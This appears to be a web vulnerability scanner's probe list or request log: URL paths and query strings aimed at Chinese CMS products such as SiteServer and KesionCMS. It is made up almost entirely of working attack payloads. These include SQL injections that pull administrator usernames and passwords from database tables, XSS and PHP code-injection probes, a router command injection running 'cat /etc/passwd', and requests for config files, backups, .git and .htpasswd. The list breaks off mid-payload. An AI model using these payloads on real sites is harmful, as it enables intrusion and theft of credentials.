/siteserver/cms/background_contentsGroup.aspx?publishmentSystemID=1&contentGroupName=2111%27%29+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29+as+t0-- /siteserver/cms/background_fileTree.aspx?PublishmentSystemID=0&RootPath=&CurrentRootPath=include /siteserver/cms/background_mailSubscribe.aspx?DateTo=&PublishmentSystemID=0&DateFrom=&Keyword=2111%27%29+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29+AS+t0-- /siteserver/cms/background_nodeGroup.aspx?GroupName=t1x2x3e4x5x6s7x8x9t%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29%29--&publishmentSystemID=0&Direction=DOWN&SetTaxis=True /siteserver/cms/console_logSite.aspx?UserName=txexsxt%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29%29+AS+t0--&PublishmentSystemID=0&Keyword=&DateTo=&DateFrom=&LogType=ALL /siteserver/cms/console_tableMetadata.aspx?ENName=cms_Content%27%29%20and%200%3C%28select%20top%201%20isnull%28cast%28%5Bcfreer1122%5D%20as%20nvarchar%284000%29%29%2Cchar%2832%29%29%20from%20bairong_Administrator%20where%201%3D1%20and%20UserName%20not%20in%20%28select%20top%200%20UserName%20from%20bairong_Administrator%20where%201%3D1%20group%20by%20UserName%29%29%3B-- /siteserver/cms/modal_contentGroupAdd.aspx?GroupName=-1no_exist%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29--+&PublishmentSystemID=222222 /siteserver/cms/modal_contentGroupAdd.aspx?PublishmentSystemID=2222&GroupName=123'%20and%20char(106)=1%20-- /siteserver/cms/modal_contentTagAdd.aspx?PublishmentSystemID=-1&TagName=-1%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29--+ /siteserver/cms/modal_contentTagAdd.aspx?PublishmentSystemID=2109&TagName=1111'%20and%20char(106)=0%20-- /siteserver/platform/background_dbSqlQuery.aspx?Table=bairong_CloudStorage&TableID=2111+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29+&DatabaseName=siteserver /siteserver/platform/background_log.aspx?UserName=test&DateTo=&DateFrom=2000-12-05+15%3A17%3A56.010%27%29+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29+AS+t0--&Keyword=11 /siteserver/service/background_taskLog.aspx?IsSuccess=All&DateTo=&DateFrom=&Keyword=2111%27%29+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29+AS+t0-- /siteserver/userRole/background_administrator.aspx?AreaID=0&PageNum=0&Keyword=test&LastActivityDate=0&RoleName=test%27+or+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29+or+%27aaaa%27%3D%27&Order=UserName /siteserver/userRole/background_user.aspx?AreaID=0&PageNum=0&Keyword=txexsxt%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29%29+AS+t0--+&CreateDate=0&LastActivityDate=0&DepartmentID=0&TypeIP=0 /sql.inc /sql.log /sqladmin3/ /stat/stat.aspx?statid=1'%20And%201=(select%20db_name())%20-- /static/addon/DatePicker/config.js /static/image/common/flvplayer.swf /static/image/common/focus.swf /static/image/common/mp3player.swf /statistics.php?pageurl=pageurl&referer=http://www.baidu.com/?wd=aaaa%2527) /statistics.php?referer=http://www.google.com/search?q=a%2527) /style/default/admin/open.gif /subscribe.php?act=dounsubscribe /suggestwordList.php?searchWord=1&language=-5178%20OR%20%28SELECT%209505%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716c736571%2C%28SELECT%20MID%28%28IFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%203%2C1%29%2C0x7177707971%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29 /suggestwordList.php?searchWord=a&language=1%20and%20(SELECT%201%20from%20(select%20count(*) /swf/player.swf /system/eWebEditor/Upload.asp?action=save&type=IMAGE&style=aaaa' union select S_ID /system/eWebEditor/Upload.asp?action=save&type=IMAGE&style=firefox%27%20union%20select%20S_ID /system/nhome/login.jsp?message=%22)--%3E%3C/script%3E%3Cscript%3Ealert(42873)%3C/script%3E /system/skins/default/style.css /t.php /t.php?act=phpinfo /temp/compiled/pages.lbi.php/%22%3C/form%3E%3CsCripT%3Ealert(/cfreer/)%3C/scRipt%3E /templates/metv4/foot.html /test.php /test.php?act=phpinfo /test/test.jsp /test1.php /the_file_that_should_never_exist_on_server.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 /tiki-rss_error.php /tool//jiufang/?q=${@die(print(md5(0.360964121845)))} /tool//jiufang/?q=${@die(print(md5(0.498831004032)))} /tool//meng/?q=${@die(print(md5(0.360964121845)))} /tool//meng/?q=${@die(print(md5(0.498831004032)))} /tool//mingfang/?q=${@die(print(md5(0.360964121845)))} /tool//mingfang/?q=${@die(print(md5(0.498831004032)))} /tool//mingyan/?q=${@die(print(md5(0.360964121845)))} /tool//mingyan/?q=${@die(print(md5(0.498831004032)))} /tool//miyu/?q=${@die(print(md5(0.360964121845)))} /tool//miyu/?q=${@die(print(md5(0.498831004032)))} /tool//naojin/?q=${@die(print(md5(0.360964121845)))} /tool//naojin/?q=${@die(print(md5(0.498831004032)))} /tool//pianfang/?q=${@die(print(md5(0.360964121845)))} /tool//pianfang/?q=${@die(print(md5(0.498831004032)))} /tool//raokouling/?q=${@die(print(md5(0.360964121845)))} /tool//raokouling/?q=${@die(print(md5(0.498831004032)))} /tool//sfz/?q=${@die(print(md5(0.360964121845)))} /tool//sfz/?q=${@die(print(md5(0.498831004032)))} /tool//tianqi/?q=${@die(print(md5(0.360964121845)))} /tool//tianqi/?q=${@die(print(md5(0.498831004032)))} /tool//xiehouyu/?q=${@die(print(md5(0.360964121845)))} /tool//xiehouyu/?q=${@die(print(md5(0.498831004032)))} /tool//yanfang/?q=${@die(print(md5(0.360964121845)))} /tool//yanfang/?q=${@die(print(md5(0.498831004032)))} /tool//yanyu/?q=${@die(print(md5(0.360964121845)))} /tool//yanyu/?q=${@die(print(md5(0.498831004032)))} /tool//yb/yb.php?q=${@die(print(md5(0.360964121845)))} /tool//yb/yb.php?q=${@die(print(md5(0.498831004032)))} /tool//youbian/?q=${@die(print(md5(0.360964121845)))} /tool//youbian/?q=${@die(print(md5(0.498831004032)))} /tool//zhongcaoyao/?q=${@die(print(md5(0.360964121845)))} /tool//zhongcaoyao/?q=${@die(print(md5(0.498831004032)))} /tool//zhoupu/?q=${@die(print(md5(0.360964121845)))} /tool//zhoupu/?q=${@die(print(md5(0.498831004032)))} /tools/ajax.aspx /tz.jsp /tz.php /tz.php?act=phpinfo /u.php/member-login?id=header_login%27%22%28%29%26%25%3CScRiPt%20%3Eprompt%28/cfreer/%29%3C/ScRiPt%3E&style=1 /uc_server/control/admin/db.php?mod[]=ks /upload.asp /upload.php /upload/flow.php?step=update_cart /usage/ /user.php?act=is_registered&username=%CE%27360webscan%23 /user.php?act=is_registered&username=%ce%27%20and%201=1%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29 /user.php?act=signin /user.php?act=verify&id=1 /user.php?back_act=http://127.0.0.1%22style=x:expression(alert(42873))%3E /user/City_ajax.aspx?Cityid=-1'%20%20union%20%20SELECT%20'bycfreer' /user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1 /user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+20120328 /user/browse/view_/ /user/demos/upload.php /user/getpassword.asp /user/reg/regajax.asp?action=getcityoption&province=goingta%2527%2520union%2520%2573%2565%256C%2565%2563%2574%25201 /user/reg/regajax.asp?action=getcityoption&province=goingta%2527%2520union%2520%2573elect%25201%252C%2527%253D.%253D%2527%252busername%252b%2527%257C%2527%252bpassword%252b%2527%253D.%253D%2527%2520from%2520KS_Admin%2500 /user/reg3.php /user/userzone/School/download.aspx?f=/config/ConnectionStrings.config /user/xheditor/demos/upload.php /userRpm/DebugResultRpm.htm?cmd=cat%20/etc/passwd&&usr=osteam&passwd=5up /usercenter/platform/user.aspx?unlock=aaaa%27&UserNameCollection=test%27%29+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%3B-- /userphoto/.git/config /userphoto/.hg/hgrc /userphoto/.svn/entries /userphoto/1.php?act=phpinfo /userphoto/CVS/Entries /userphoto/DotNetInfo.aspx /userphoto/access.log /userphoto/admin/.htpasswd /userphoto/aspcheck.asp /userphoto/backup.rar /userphoto/backup.tar.gz /userphoto/config.php~ /userphoto/counter/main.aspx /userphoto/css/css2.css /userphoto/css/style.css /userphoto/error.log /userphoto/examples/jsp/ /userphoto/htdocs.rar /userphoto/htdocs.tar.gz /userphoto/i.php /userphoto/i.php?act=phpinfo /userphoto/images/1.jpg /userphoto/images/2.jpg /userphoto/images/3.jpg /userphoto/images/button1.jpg /userphoto/images/button2.jpg /userphoto/images/login_kuang.jpg /userphoto/images/login_pho1.jpg /userphoto/images/login_pho10.jpg /userphoto/images/login_pho11.jpg /userphoto/images/login_pho12.jpg /userphoto/images/login_pho2.jpg /userphoto/images/login_pho3.jpg /userphoto/images/login_pho4.jpg /userphoto/images/login_pho5.jpg /userphoto/images/login_pho6.jpg /userphoto/images/login_pho7.jpg /userphoto/images/login_pho8.jpg /userphoto/images/login_pho9.jpg /userphoto/images/login_top.jpg /userphoto/images/logobg.jpg /userphoto/index.php?act=phpinfo /userphoto/index1.php /userphoto/index1.php?act=phpinfo /userphoto/iprober.php /userphoto/iprober.php?act=phpinfo /userphoto/js/tb.js /userphoto/js/yu.js /userphoto/jspcheck.jsp /userphoto/login.jsp /userphoto/login.jsp /userphoto/myadmin/ /userphoto/p.php /userphoto/p.php?act=phpinfo /userphoto/php.php?act=phpinfo /userphoto/php/ /userphoto/phpMyAdmin/ /userphoto/phpadmin/ /userphoto/phpcheck.php /userphoto/phpcheck.php?act=phpinfo /userphoto/phpinfo.php?act=phpinfo /userphoto/phpmyadmin/ /userphoto/pma/ /userphoto/server-status/ /userphoto/sqladmin3/ /userphoto/t.php?act=phpinfo /userphoto/test.php?act=phpinfo /userphoto/tz.jsp /userphoto/tz.php /userphoto/tz.php?act=phpinfo /userphoto/usage/ /userphoto/wwwroot.rar /users.ini /users.txt /utf8/api/uc_client/control/mail.php /utf8/style/default/admin/open.gif /utility/convert/data/config.inc.php /utility/convert/index.php /venus/AsVenusCA/desk/message/reply.asp /video.php /video/s_rpc.php /viewlist.aspx?typeid=webscan()' /views.asp /vote.php?act=dovote&name[1%20UNION%20SELECT%201%20FROM%20(SELECT%20COUNT(*) /vote.php?act=dovote&name[1%20and%20(select%201%20from(select%20count(*) /wap.php?action=list&id=392%20test /wap.php?pageBody=%3Cscript%3Ealert(42873)%3C/script%3E /wap/index.php /wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&attr[jobnum]=1%27%20and%201%3D2%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2Cconcat%28CHAR%28116%2C%20104%2C%20105%2C%20115%2C%20126%2C%20105%2C%20115%2C%2064%2C%20110%2C%20111%2C%20116%2C%2035%2C%20101%2C%20120%2C%20105%2C%20115%2C%20116%2C%2095%2C%20105%2C%20110%2C%2035%2C%20116%2C%20104%2C%20105%2C%20115%2C%2064%2C%20115%2C%20101%2C%20114%2C%20118%2C%20101%2C%20114%2C%20126%2C%2051%2C%2046%2C%2049%2C%2052%2C%2049%2C%2053%2C%2057%2C%2050%2C%2049%2C%2050%2C%2096%29%2Cusername%2CCHAR%2858%29%2Cpassword%2CCHAR%28126%2C%20126%2C%20126%2C%20126%29%29%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C